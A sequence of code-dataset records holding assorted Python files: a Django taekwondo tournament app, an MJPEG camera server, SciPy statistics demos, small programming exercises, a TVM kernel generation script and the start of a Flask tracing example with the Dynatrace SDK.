i.save()\n pf=PlayerForm\n return render(request, 'add.html',{'form': pf},{'Msg': 'Item Added...........'})\n else:\n pf = PlayerForm\n return render(request, 'add.html', {'form': pf})\n\n\n\ndef search(request):\n if request.method == \"POST\":\n try:\n i = request.POST.get(\"age\", '')\n j = request.POST.get(\"w\", '')\n k = request.POST.get(\"gen\", '')\n m = auth.get_user(request)\n record = Players.objects.filter(agegroup=i).filter(gender=k).filter(weightcategory=j).filter(user=m)\n return render(request, 'search.html', {'record': record})\n except:\n return render(request, 'find.html', {'errMsg': 'Record Not Found!!!'})\n else:\n return render(request, 'find.html', {})\n\ndef tournament(request):\n if request.method == \"POST\":\n try:\n i= request.POST.get(\"age\", '')\n j = request.POST.get(\"gen\", '')\n k = request.POST.get(\"w\", '')\n l = auth.get_user(request)\n record = Players.objects.filter(agegroup=i).filter(gender=j).filter(weightcategory=k).filter(user=l)\n count = record.count()\n if count == 2 or count == 4 or count == 8 or count == 16 or count == 32 or count == 64 or count == 128:\n return render(request, 'fixture1.html', {'record': record})\n elif count > 0:\n return render(request, 'fixture2.html', {'record': record})\n else:\n return render(request, 'tour.html', {'errMsg': 'Record Not Found!!!'})\n except:\n return render(request, 'tour.html', {'errMsg': 'Record Not Found!!!'})\n else:\n return render(request, 'tour.html', {})\n\ndef login(request):\n return render(request,'login.html',{})\n\ndef auth_view(request):\n username=request.POST.get('username','')\n password=request.POST.get('password','')\n user=auth.authenticate(username=username,password=password)\n if user is not None:\n auth.login(request,user)\n return render(request,'about.html/',{'user':user})\n else:\n return HttpResponseRedirect('/about.html/')\n\ndef invalid(request):\n return render(request,'invalid.html',{})\n\ndef logout(request):\n auth.logout(request)\n return render(request,'about.html',{})\n\nclass UserFormView(View):\n a=UserForm\n template='signup.html'\n\n def get(self,request):\n form = self.a(None)\n return render(request,self.template,{'form':form})\n\n def post(self,request):\n form = self.a(request.POST)\n if form.is_valid():\n user=form.save(commit=False)\n username=form.cleaned_data['username']\n password=form.cleaned_data['password']\n user.set_password(password)\n user.save()\n user=authenticate(username=username,password=password)\n\n if user is not None:\n auth.login(request,user)\n return render(request, 'about.html/', {'user': user})\n\n return render(request, 'signup.html/', {'form': form})\n\ndef medals(request):\n\n if request.method == \"POST\":\n i=Results()\n i.user = auth.get_user(request)\n i.agegroup = request.POST.get('agegroup', '')\n i.gender = request.POST.get('gender', '')\n i.weightcategory = request.POST.get('weightcategory', '')\n i.gold = request.POST.get('gold', '')\n i.silver = request.POST.get('silver', '')\n i.bronze1 = request.POST.get('bronze1', '')\n i.bronze2 = request.POST.get('bronze2', '')\n i.save()\n return render(request, 'about.html',{})\n else:\n rf = ResultForm\n return render(request, 'medal.html/', {'form':rf})\n\ndef results(request):\n a = auth.get_user(request)\n allrows = Results.objects.filter(user=a)\n return render(request, 'results.html', {'allrows': allrows})\n\n\n\n\n","sub_path":"Taekwondo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"928467","text":"#!/usr/bin/env python\n\n# Adapted from:\n\n'''\n Author: Igor Maculan - n3wtron@gmail.com\n A Simple mjpg stream http server\n'''\n# https://gist.github.com/n3wtron/4624820\n\nimport cv2\nfrom PIL import Image\nimport threading\nfrom http.server import BaseHTTPRequestHandler,HTTPServer\nfrom socketserver import ThreadingMixIn\nfrom io import StringIO,BytesIO\nimport time\nimport subprocess\n\n\nfrom umucv.stream import Camera, sourceArgs\nimport signal\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser()\nsourceArgs(parser)\nparser.add_argument('--quality', help='jpeg quality', type=int, default=30)\nargs = parser.parse_args()\n\nQUALITY = args.quality\n\ndef encode(frame):\n imgRGB=cv2.cvtColor(frame,cv2.COLOR_BGR2RGB)\n jpg = Image.fromarray(imgRGB)\n tmpFile = BytesIO()\n jpg.save(tmpFile,'JPEG',quality=QUALITY)\n #print('encoded', tmpFile.getbuffer().nbytes)\n return tmpFile\n\ncam = Camera(args.size, args.dev, debug=False, transf=lambda s: map(encode,s))\n\nstop = False\n\ndef signal_handler(signal, frame):\n global stop\n cam.stop()\n stop = True\n sys.exit(0)\n\nsignal.signal(signal.SIGINT, signal_handler)\n\n\nclass CamHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n if self.path.endswith('.mjpg'):\n self.send_response(200)\n self.send_header('Content-type','multipart/x-mixed-replace; boundary=--jpgboundary')\n self.end_headers()\n t = 0\n while not stop:\n try:\n while cam.time == t:\n time.sleep(0.01)\n ##print('.')\n t = cam.time\n tmpFile = cam.frame\n #print('sent',tmpFile.getbuffer().nbytes)\n self.wfile.write(\"--jpgboundary\\r\\n\".encode())\n self.send_header('Content-type','image/jpeg')\n self.send_header('Content-length',str(tmpFile.getbuffer().nbytes))\n self.end_headers()\n self.wfile.write(tmpFile.getvalue())\n except:\n break\n\nclass ThreadedHTTPServer(ThreadingMixIn, HTTPServer):\n \"\"\"Handle requests in a separate thread.\"\"\"\n\ndef main():\n try:\n ip = subprocess.check_output([\"hostname\", \"-I\"]).decode('utf-8')[:-2]\n server = ThreadedHTTPServer(('', 8087), CamHandler)\n print(f\"server started at {ip}:8087/cam.mjpg\")\n server.serve_forever()\n except KeyboardInterrupt:\n server.socket.close()\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"code/mjpegserver.py","file_name":"mjpegserver.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"11435906","text":"#!/usr/bin/python3.6\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as img\nfrom scipy.stats import norm\nfrom scipy.stats import multivariate_normal as mvn\n\n# Probability Density Function (PDF)\nnorm.pdf(0) # probability of 0 with gaussian distribution\nnorm.pdf(0, loc=5, scale=10)\n\n# Probability of 10 values\nr = np.random.randn(10)\nnorm.pdf(r)\n\n# joint probability p(x1..xn) = x1 * .. * xn\n# log of joint probability\nnorm.logpdf(r)\n\n# Cummulative Distribution Function (Integral from -Inf to Inf of PDF)\nnorm.cdf(r)\nnorm.logcdf(r)\n\nstd = 10 # standard deviation\nmean = 5\nr = std*np.random.randn(10000) + mean\nh = plt.hist(r, bins=50)\nprint(h)\nplt.show()\n\n# Spherical Gaussian (uncorrelated multi-dimensional with same variance)\nr = np.random.randn(10000, 2)\nplt.scatter(r[:,0], r[:,1])\nplt.show()\n\n# Elliptical Gaussian (uncorrelated multi-dimensional with different variance)\nstd = 5\nmean = 2\nr[:,1] = std*r[:,1] + mean\nplt.scatter(r[:,0], r[:,1])\nplt.axis('equal')\nplt.show()\n\n# Covariance Matrix\n# Variance 1 in first dimension and 3 for the second dimension\n# Covariance of 0.8 between each dimension\ncov_matrix = np.array([[1, 0.8], [0.8, 3]])\n\n# Mean 0 for first dimension and 2 for the second dimension\nmu = np.array([0, 2])\nr = mvn.rvs(mean=mu, cov=cov_matrix, size=1000) # random following the specified details\nplt.scatter(r[:,0], r[:,1])\nplt.show()\n\nr = np.random.multivariate_normal(mean=mu, cov=cov_matrix, size=1000)\nplt.scatter(r[:,0], r[:,1])\nplt.axis('equal')\nplt.show()\n\n\n# OTHER USEFUL FUNCTIONS\n\n# Load a MATLAB (.mat) file\n# scipy.io.loadmat\n\n# Load a WAV file\n# scipy.io.wavfile\n\n# Fourier Transformation\nx = np.linspace(0, 100, 10000) # Some Frequencies\ny = np.sin(x) + np.sin(3*x) + np.sin(5*x) # Multiple components\nplt.plot(y)\nplt.show()\n\nprint(\"Original Frequencies from FFT (peaks x ~ 16, 48, 80)\")\ndef getFreq(x):\n return 2*np.pi*x/100\nprint(f\"F1: {getFreq(16)}, F2: {getFreq(48)}, F3: {getFreq(80)}\")\n\nY = np.fft.fft(y)\nplt.plot(np.abs(Y))\nplt.show()\n\n# Signal Processing (Convolution, Filters...)\n# scipy.signal\nplt.figure()\nimage = img.imread('image.png')\nplt.imshow(image)\nplt.title('Original image')\nplt.show()\n\nf_image = image[:,:,0]\nplt.imshow(f_image)\nplt.gray()\nplt.title('Filtered image')\nplt.show()","sub_path":"scipy/examples.py","file_name":"examples.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"483304855","text":"def latest_occurence(array, c):\n post=-1\n for i in range(0,len(array)):\n if(array[i]==c):\n post=i\n\n\n return post\n\n\ndef Sepration(array):\n i=0\n A=[]\n\n while igroupend):\n groupend=tempend\n\n A.append(groupend-i+1)\n i=groupend+1\n\n return A\n\n\n\n\ndef main():\n Datalist=[\"a\",\"b\",\"a\",\"b\",\"c\",\"b\",\"a\",\"c\",\"a\",\"d\",\"e\",\"f\",\"e\",\"g\",\"d\",\"e\",\"h\",\"i\",\"j\",\"h\",\"k\",\"l\",\"i\",\"j\"]\n print(Datalist)\n print(Sepration(Datalist))\n\n\nmain()\n\n# for i in range(0, len(Datalist)):\n# item=Datalist[i]\n# lastindex=Datalist[len(Datalist)-1]\n#\n# if(i==lastindex):\n# CountNumber.append(1)\n#\n# else:\n# if(i==0):\n# CountNumber.append(lastindex+1)\n#\n# else:\n# CountNumber.append(lastindex-i+1)\n#\n# i=lastindex\n#\n# print(CountNumber)\n\n#\n#\n# for i in range(output, len(Datalist)):\n# if(len(DataCopy)!=0):\n# CountNumber.append(len(DataCopy))\n# i=len(DataCopy)\n#\n# else:\n# i=0\n# for j in range(i,len(Datalist)-1):\n#\n# if(Datalist[i]==Datalist[j]):\n# for ab in range(0,j):\n# DataCopy.append(Datalist[ab])\n#\n#\n#\n#\n#\n#\n#\n#\n# print(CountNumber)\n#\n","sub_path":"Assigment16.py","file_name":"Assigment16.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"284182224","text":"class Vehiculo:\r\n def __init__(self,color, ruedas):\r\n self.color = color\r\n self.ruedas = ruedas\r\nclass Coche(Vehiculo):\r\n def __init__(self,color,ruedas,velocidad,cilindrada):\r\n Vehiculo.__init__(self,color,ruedas)\r\n self.velocidad = velocidad \r\n self.cilindrada = cilindrada\r\n def __str__(self):\r\n return \"\"\"Es un coche\r\n Color:\\t\\t {}\r\n Ruedas:\\t\\t {}\r\n Velocidad:\\t {} Km/h\r\n Cilindrada:\\t {} Cilindros\"\"\".format(self.color,self.ruedas,self.velocidad,self.cilindrada)\r\nclass Camioneta(Coche):\r\n def __init__(self,color,ruedas,velocidad,cilindrada,carga):\r\n Coche.__init__(self,color,ruedas,velocidad,cilindrada)\r\n self.carga = carga\r\n def __str__(self):\r\n return \"\"\"Es una camioneta\r\n Color:\\t\\t {}\r\n Ruedas:\\t\\t {}\r\n Velocidad:\\t {} Km/h \r\n Cilindrada:\\t {} Cilindros\r\n Carga\\t\\t {} Kg\"\"\".format(self.color,self.ruedas,self.velocidad,self.cilindrada,self.carga)\r\nclass Bicicleta(Vehiculo):\r\n def __init__(self,color,ruedas, urbana=False, deportiva=False):\r\n Vehiculo.__init__(self,color,ruedas)\r\n self.urbana = urbana\r\n self.deportiva = deportiva \r\nclass Motocicleta(Bicicleta):\r\n def __init__(self,color,ruedas, urbana=False, deportiva=False, velocidad=None, cilindrada=None):\r\n Bicicleta.__init__(self,color,ruedas,urbana,deportiva)\r\n self.velocidad = velocidad\r\n self.cilindrada = cilindrada\r\n\r\nc=int(input(\"¿Cuantos vehiculos desea crear?: \"))\r\ndef crear_Vehiculos(c=1):\r\n lista = []\r\n i=1\r\n while c>=i:\r\n v=int(input(\"\"\"¿Que vehiculo desea crear?: \r\n 1) Coche\r\n 2) Camioneta\r\n 3) Bicicleta\r\n 4) Motocicleta\r\n Responde aqui: \"\"\"))\r\n if v==1:\r\n co=input(\"¿De que color es?: \")\r\n ru=input(\"¿Cuantas ruedas tiene?: \")\r\n ve=input(\"¿Que velocidad maxima alcanza?: \")\r\n ci=input(\"¿Cual es su cilindrada?: \")\r\n vh=Coche(co,ru,ve,ci)\r\n lista.append(vh)\r\n elif v==2:\r\n co=input(\"¿De que color es?: \")\r\n ru=input(\"¿Cuantas ruedas tiene?: \")\r\n ve=input(\"¿Que velocidad maxima alcanza?: \")\r\n ci=input(\"¿Cual es su cilindrada?: \")\r\n car=input(\"¿Cual es su carga maxima?: \")\r\n cam=Camioneta(co,ru,ve,ci,car)\r\n lista.append(cam)\r\n elif v==3:\r\n co=input(\"¿De que color es?: \")\r\n ru=input(\"¿Cuantas ruedas tiene?: \")\r\n bici = Bicicleta(co, ru)\r\n ve=input(\"¿Es urbana o deportiva? ('X' = Urbana 'Z' = Deportiva): \")\r\n if ve == \"X\" or ve ==\"x\":\r\n bici.urbana=True\r\n elif ve ==\"Z\" or ve ==\"z\":\r\n bici.deportiva = True\r\n lista.append(bici)\r\n elif v==4:\r\n co=input(\"¿De que color es?: \")\r\n ru=input(\"¿Cuantas ruedas tiene?: \")\r\n bici = Bicicleta(co, ru)\r\n ve=input(\"¿Es urbana o deportiva? ('X' = Urbana. 'Z' = Deportiva.): \")\r\n if ve == \"X\" or ve ==\"x\":\r\n moto.urbana=True\r\n elif ve ==\"Z\" or ve ==\"z\":\r\n moto.deportiva = True\r\n moto.velocidad=input(\"¿Que velocidad maxima es capaz de alcanzar?: \")\r\n moto.cilindrada=input(\"¿Cual es su cilindraje?: \")\r\n lista.append(moto)\r\n else:\r\n print(\"Opción incorrecta, introduzca un caracter valido.\")\r\n break\r\n i=i+1\r\n return lista\r\n #a=[]\r\na=crear_Vehiculos(c)\r\nfor i in a:\r\n print(i,\"\\n\")\r\n i=i+1\r\n","sub_path":"Generador de vehículos (Ejercicio).py","file_name":"Generador de vehículos (Ejercicio).py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"563092896","text":"# Copyright 2019 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"\nThis module is rule to generation tvm operate. you can use it like:\npython3 at_gen_strip.py [x86:arm64:arm32]\n\"\"\"\nimport os\nimport sys\nimport itertools\nfrom functools import partial\nfrom at_ops.at_lib import Deconv, tvm, ConvVar, BatchNorm, Eltwise, Resize, CaffeCrop, CaffePReLU\nfrom at_ops.at_lib import FullConnection, Power, ArgMax, Concat, Pad, Pooling, Mean, MatMul, Softmax\nfrom at_ops.at_lib import Activation, Exp, Split, Cast, ExpandDims, Tile, Range\nfrom at_rt import at_runtime_reset\n\n\ncheck_correctness = False\nARCH_TYPE = sys.argv[1]\n\ndtypes = (\"float32\",) # \"float16\", \"uint8\", \"int8\", \"uint32\", \"int32\"\n\ndevice_map = {\n \"x86\": \"llvm\",\n \"arm64\": \"llvm -device=arm_cpu -model=kirin970 -target=arm64-linux-android\",\n \"arm32\": \"llvm -device=arm_cpu -model=kirin970 -target=armv7a-linux-eabi -mfloat-abi=soft\",\n}\n\nlib_path_map = {\n \"x86\": \"../../../build/lib_x86/\",\n \"arm64\": \"../../../build/lib_arm64/\",\n \"arm32\": \"../../../build/lib_arm32/\",\n}\n\nbest_log_map = {\n \"x86\": None,\n \"arm64\": None,\n \"arm32\": None,\n}\n\nlib_path = lib_path_map[ARCH_TYPE]\ndevice = device_map[ARCH_TYPE]\nif ARCH_TYPE == \"arm64\":\n if dtypes[0] == \"float16\":\n device += \" -mattr=+fp16fml\"\n else:\n device += \" -mattr=+neon\"\nbest_log = best_log_map[ARCH_TYPE]\n\nkwargs = {\n \"device\": device,\n \"lib_path\": lib_path,\n \"check_correctness\": check_correctness,\n}\n\nuse_arm32 = ARCH_TYPE == \"arm32\"\n\nMAX_DIMS = 5\nconst_op_list = [\n (\n \"Deconvolution\",\n partial(Deconv, optype=\"Deconvolution\"),\n {\n \"ndim\": (5,),\n \"dtype\": dtypes,\n \"kernels\": ((2, 2),),\n \"strides\": ((2, 2),),\n \"pad\": ((0, 0, 0, 0),),\n \"dilations\": ((1, 1),),\n \"hasbias\": (False, True),\n \"activation_type\": (\"NO_ACTIVATION\",),\n \"cfg\": [\n {\n \"CI\": tvm.var(\"CI\"),\n \"VH\": 2,\n \"VW\": 12,\n \"VC\": 4,\n \"VI\": 4,\n \"tile_oh\": 2,\n \"tile_ow\": 12,\n \"tile_co\": 4,\n \"ann_reduce\": [\"none\", \"unroll\"],\n \"ann_spatial\": [\"unroll\", \"unroll\", \"vec\"],\n },\n {\n \"CI\": tvm.var(\"CI\"),\n \"VH\": 2,\n \"VW\": 10,\n \"VC\": 4,\n \"VI\": 4,\n \"tile_oh\": 2,\n \"tile_ow\": 10,\n \"tile_co\": 4,\n \"ann_reduce\": [\"none\", \"unroll\"],\n \"ann_spatial\": [\"unroll\", \"unroll\", \"vec\"],\n },\n {\n \"CI\": tvm.var(\"CI\"),\n \"VH\": 2,\n \"VW\": 16,\n \"VC\": 4,\n \"VI\": 4,\n \"tile_oh\": 2,\n \"tile_ow\": 16,\n \"tile_co\": 4,\n \"ann_reduce\": [\"none\", \"unroll\"],\n \"ann_spatial\": [\"unroll\", \"unroll\", \"vec\"],\n },\n {\n \"CI\": tvm.var(\"CI\"),\n \"VH\": 2,\n \"VW\": 8,\n \"VC\": 4,\n \"VI\": 4,\n \"tile_oh\": 2,\n \"tile_ow\": 8,\n \"tile_co\": 4,\n \"ann_reduce\": [\"none\", \"unroll\"],\n \"ann_spatial\": [\"unroll\", \"unroll\", \"vec\"],\n },\n {\n \"CI\": tvm.var(\"CI\"),\n \"VH\": 2,\n \"VW\": 4,\n \"VC\": 4,\n \"VI\": 4,\n \"tile_oh\": 2,\n \"tile_ow\": 4,\n \"tile_co\": 4,\n \"ann_reduce\": [\"none\", \"unroll\"],\n \"ann_spatial\": [\"unroll\", \"unroll\", \"vec\"],\n },\n {\n \"CI\": tvm.var(\"CI\"),\n \"VH\": 2,\n \"VW\": 2,\n \"VC\": 4,\n \"VI\": 4,\n \"tile_oh\": 2,\n \"tile_ow\": 2,\n \"tile_co\": 4,\n \"ann_reduce\": [\"none\", \"unroll\"],\n \"ann_spatial\": [\"unroll\", \"unroll\", \"vec\"],\n },\n ],\n },\n ),\n (\n \"Convolution\",\n partial(ConvVar, optype=\"Convolution\"),\n {\n \"ndim\": (4,),\n \"layout\": (\"NCHW\",),\n \"dtype\": dtypes,\n \"kernels\": ((1, 1), (3, 3), (5, 5),),\n \"strides\": ((1, 1), (2, 2)),\n \"pad\": ((1, 1, 1, 1), (0, 0, 0, 0), (2, 2, 2, 2)),\n \"dilations\": ((1, 1),),\n \"hasbias\": (False, True),\n \"activation_type\": (\"NO_ACTIVATION\", \"RELU\"),\n \"cfg\": [\n {\n \"CI\": tvm.var(\"CI\"),\n \"VH\": 1,\n \"VW\": 1,\n \"VC\": 1,\n \"VI\": 1,\n \"tile_oh\": 1,\n \"tile_ow\": 1,\n \"tile_co\": 1,\n \"ann_reduce\": [\"none\", \"unroll\"],\n \"ann_spatial\": [\"unroll\", \"unroll\", \"vec\"],\n \"core_id\": 0,\n },\n ],\n },\n ),\n (\n \"ConvolutionDepthwise\",\n partial(ConvVar, optype=\"ConvolutionDepthwise\"),\n {\n \"ndim\": (4,),\n \"layout\": (\"NCHW\",),\n \"dtype\": dtypes,\n \"kernels\": ((2, 2), (3, 3),),\n \"strides\": ((1, 1),),\n \"pad\": ((0, 0, 0, 0), (0, 1, 0, 1), (1, 0, 1, 0), (1, 1, 1, 1),),\n \"dilations\": ((1, 1),),\n \"hasbias\": (False, True),\n \"activation_type\": (\"NO_ACTIVATION\", \"RELU\"),\n \"channel_multiplier\": (1,),\n \"cfg\": [\n {\n \"CI\": tvm.var(\"CI\"),\n \"VH\": 1,\n \"VW\": 1,\n \"VC\": 1,\n \"VI\": 1,\n \"tile_oh\": 1,\n \"tile_ow\": 1,\n \"tile_co\": 1,\n \"ann_reduce\": [\"none\", \"unroll\"],\n \"ann_spatial\": [\"unroll\", \"unroll\", \"vec\"],\n \"core_id\": 0,\n },\n ],\n },\n ),\n (\n \"DeConvolutionDepthwise\",\n partial(ConvVar, optype=\"DeConvolutionDepthwise\"),\n {\n \"ndim\": (4,),\n \"layout\": (\"NCHW\",),\n \"dtype\": dtypes,\n \"kernels\": ((1, 1), (2, 2), (3, 3),),\n \"strides\": ((1, 1), (2, 2),),\n \"pad\": ((0, 0, 0, 0), (1, 0, 1, 0), (1, 1, 1, 1),),\n \"dilations\": ((1, 1),),\n \"hasbias\": (False, True),\n \"activation_type\": (\"NO_ACTIVATION\", \"RELU\"),\n \"channel_multiplier\": (1,),\n \"cfg\": [\n {\n \"CI\": tvm.var(\"CI\"),\n \"VH\": 1,\n \"VW\": 1,\n \"VC\": 1,\n \"VI\": 1,\n \"tile_oh\": 1,\n \"tile_ow\": 1,\n \"tile_co\": 1,\n \"ann_reduce\": [\"none\", \"unroll\"],\n \"ann_spatial\": [\"unroll\", \"unroll\", \"vec\"],\n \"core_id\": 0,\n },\n ],\n },\n ),\n (\n \"BatchNorm\",\n BatchNorm,\n {\"ndim\": (4,), \"dtype\": dtypes, \"optype\": (\"TFBatchNorm\",), \"axis\": (1, 3,)},\n ),\n (\n \"BiasAdd\",\n BatchNorm,\n {\"ndim\": (2, 4), \"dtype\": dtypes, \"optype\": (\"TFBiasAdd\",), \"axis\": (1, 3)},\n ),\n (\n \"CaffeBatchNorm\",\n BatchNorm,\n {\"ndim\": (2, 4), \"dtype\": dtypes, \"optype\": (\"CaffeBatchNorm\",), \"axis\": (1, 3)},\n ),\n (\n \"Scale\",\n BatchNorm,\n {\"ndim\": (2, 4), \"dtype\": dtypes, \"optype\": (\"CaffeScale\",), \"axis\": (1,)},\n ),\n (\n \"Eltwise\",\n Eltwise,\n {\n \"ndim_a\": tuple(range(0, MAX_DIMS + 1)),\n \"ndim_b\": tuple(range(0, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"mode\": (\"add\", \"subtract\", \"multiply\", \"divide\", \"maximum\"),\n },\n ),\n (\n \"Add\",\n Eltwise,\n {\n \"ndim_a\": tuple(range(0, MAX_DIMS + 1)),\n \"ndim_b\": tuple(range(0, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"mode\": (\"add\",),\n },\n ),\n (\n \"Sub\",\n Eltwise,\n {\n \"ndim_a\": tuple(range(0, MAX_DIMS + 1)),\n \"ndim_b\": tuple(range(0, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"mode\": (\"subtract\",),\n },\n ),\n (\n \"Mul\",\n Eltwise,\n {\n \"ndim_a\": tuple(range(0, MAX_DIMS + 1)),\n \"ndim_b\": tuple(range(0, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"mode\": (\"multiply\",),\n },\n ),\n (\n \"RealDiv\",\n Eltwise,\n {\n \"ndim_a\": tuple(range(0, MAX_DIMS + 1)),\n \"ndim_b\": tuple(range(0, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"mode\": (\"divide\",),\n },\n ),\n (\n \"Maximum\",\n Eltwise,\n {\n \"ndim_a\": tuple(range(0, MAX_DIMS + 1)),\n \"ndim_b\": tuple(range(0, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"mode\": (\"maximum\",),\n },\n ),\n (\n \"ResizeBilinear\",\n Resize,\n {\n \"ndim\": (4,),\n \"dtype\": dtypes,\n \"method\": (\"bilinear\",), # \"bicubic\"\n \"align_corners\": (True, False),\n },\n ),\n (\n \"ResizeNearestNeighbor\",\n Resize,\n {\n \"ndim\": (4,),\n \"dtype\": dtypes,\n \"method\": (\"nearest_neighbor\",), # \"bicubic\"\n \"align_corners\": (True, False),\n },\n ),\n (\n \"CaffeCrop\",\n CaffeCrop,\n {\"ndim\": (4,), \"dtype\": dtypes, \"axis\": tuple(range(0, 4))},\n ),\n (\n \"CaffePReLU\",\n CaffePReLU,\n {\"ndim\": (2, 4), \"dtype\": dtypes, \"channel_shared\": (True, False)},\n ),\n (\n \"FullConnection\",\n FullConnection,\n {\"ndim_a\": (2, 4), \"dtype\": dtypes, \"has_bias\": (True, False)},\n ),\n (\"Power\", Power, {\"ndim\": tuple(range(1, MAX_DIMS + 1)), \"dtype\": dtypes}),\n (\n \"ArgMax\",\n ArgMax,\n {\n \"ndim\": tuple(range(1, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"axis\": tuple(range(0, MAX_DIMS)), # not support None\n \"keep_dims\": (True, False),\n \"top_k\": (1,),\n \"out_dtype\": dtypes,\n },\n ),\n (\n \"Concat\",\n Concat,\n {\n \"ndim\": tuple(range(1, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"input_num\": tuple(range(2, 6 + 1)),\n \"axis\": tuple(range(0, MAX_DIMS)),\n },\n ),\n (\n \"Pad\",\n Pad,\n {\n \"ndim\": tuple(range(2, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"paddingmode\": (\"CONSTANT\", \"REFLECT\", \"SYMMETRIC\"),\n },\n ),\n (\n \"Pooling\",\n Pooling,\n {\n \"ndim\": (4,),\n \"dtype\": dtypes,\n \"pooling_mode\": (\"max\", \"avg\"),\n \"caffe_mode\": (True, False),\n \"kernel\": ((1, 1), (2, 2), (3, 3), (5, 5)),\n \"stride\": ((1, 1), (2, 2), (3, 3)),\n \"pad\": ((0, 0, 0, 0), (0, 1, 0, 1), (1, 1, 1, 1)),\n \"use_global\": (True, False),\n },\n ),\n (\n \"Mean\",\n Mean,\n {\n \"ndim\": (4,),\n \"dtype\": dtypes,\n \"axis\": (\n (0,),\n (1,),\n (2,),\n (3,),\n (0, 1),\n (0, 2),\n (0, 3),\n (1, 2),\n (1, 3),\n (2, 3),\n (0, 1, 2),\n (0, 1, 3),\n (0, 2, 3),\n (1, 2, 3),\n (0, 1, 2, 3),\n ),\n \"keep_dims\": (True, False),\n },\n ),\n (\n \"MatMul\",\n MatMul,\n {\n \"ndim_a\": (2,),\n \"ndim_b\": (2,),\n \"dtype\": dtypes,\n \"transpose_a\": (True, False),\n \"transpose_b\": (True, False),\n },\n ),\n (\n \"Softmax\",\n Softmax,\n {\n \"ndim\": tuple(range(1, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"axis\": tuple(range(0, MAX_DIMS)),\n },\n ),\n (\n \"Activation\",\n Activation,\n {\n \"ndim\": tuple(range(1, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"optype\": (\"NO_ACTIVATION\", \"RELU\", \"RELU6\", \"SIGMOID\"),\n },\n ),\n (\"Exp\", Exp, {\"ndim\": tuple(range(1, MAX_DIMS + 1)), \"dtype\": dtypes}),\n (\n \"Split\",\n Split,\n {\n \"ndim\": tuple(range(1, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"output_num\": tuple(range(1, 5)),\n \"axis\": tuple(range(0, MAX_DIMS)),\n },\n ),\n (\n \"Cast\",\n Cast,\n {\n \"ndim\": tuple(range(1, MAX_DIMS + 1)),\n \"src_dtype\": dtypes,\n \"dst_dtype\": dtypes,\n },\n ),\n (\n \"ExpandDims\",\n ExpandDims,\n {\n \"ndim\": tuple(range(1, MAX_DIMS + 1)),\n \"dtype\": dtypes,\n \"axis\": tuple(range(0, MAX_DIMS)),\n },\n ),\n (\"Tile\", Tile, {\"ndim\": tuple(range(1, MAX_DIMS + 1)), \"dtype\": dtypes}),\n (\"Range\", Range, {\"out_dtype\": (\"float32\", \"uint32\", \"int32\")}),\n]\n\n\ndef gen_const_libs(some_op=None):\n for optype, func, attr in const_op_list:\n if some_op and some_op != optype:\n continue\n for values in itertools.product(*attr.values()):\n args = dict((k, v) for k, v in zip(attr.keys(), values))\n func(device=device, lib_path=lib_path, **args)\n\n\nif __name__ == \"__main__\":\n if not os.path.exists(lib_path):\n os.makedirs(lib_path)\n # skip best_history log:\n with tvm.target.create(device):\n with at_runtime_reset.AtRuntimeReset():\n gen_const_libs()\n","sub_path":"predict/module/tvm_kernel/lite/python/at_ops/at_gen_strip.py","file_name":"at_gen_strip.py","file_ext":"py","file_size_in_byte":14835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"85301587","text":"from flask import Flask, request\nimport requests\n\nimport oneagent\n\n# Justin Hagerty and Zach Podbielniak\n# Example for comparison with using the decorator for minimalistic \"invasive code for the python sdk\"\n\nfrom oneagent.common import DYNATRACE_HTTP_HEADER_NAME\n\napp = Flask(__name__)\n\ninit_result = oneagent.initialize()\nprint('OneAgent SDK initialization result' + repr(init_result))\nif init_result:\n print('SDK should work (but agent might be inactive).')\nelse:\n print('SDK will definitely not work (i.e. functions will be no-ops):', init_result)\n\nsdk = oneagent.get_sdk()\n\nwappinfo = sdk.create_web_application_info(\n virtual_host='testDevice', # this will be your servers name in the metadata for the request \"Server name = testDevice\"\n application_id='Example SDK Info', # Name of the service\n context_root='/' # note if you put anything other than '/' this will show up in the service name as \"(/yourService)\"\n)\n\n# Decorator Definition\ndef oneagent_incomingTrace(func):\n def incomingTracer(*args, **kwargs):\n tracerObject = sdk.trace_incoming_web_request(\n wappinfo,\n request.base_url,\n request.method,\n remote_address=request.remote_addr,\n headers=dict(request.headers)\n )\n\n if tracerObject:\n with tracerObject:\n kwargs['incoming_wreq'] = tracerObject\n tracerArgs = func(*args, **kwargs)\n tracerObject.set_status_code(200)\n else:\n 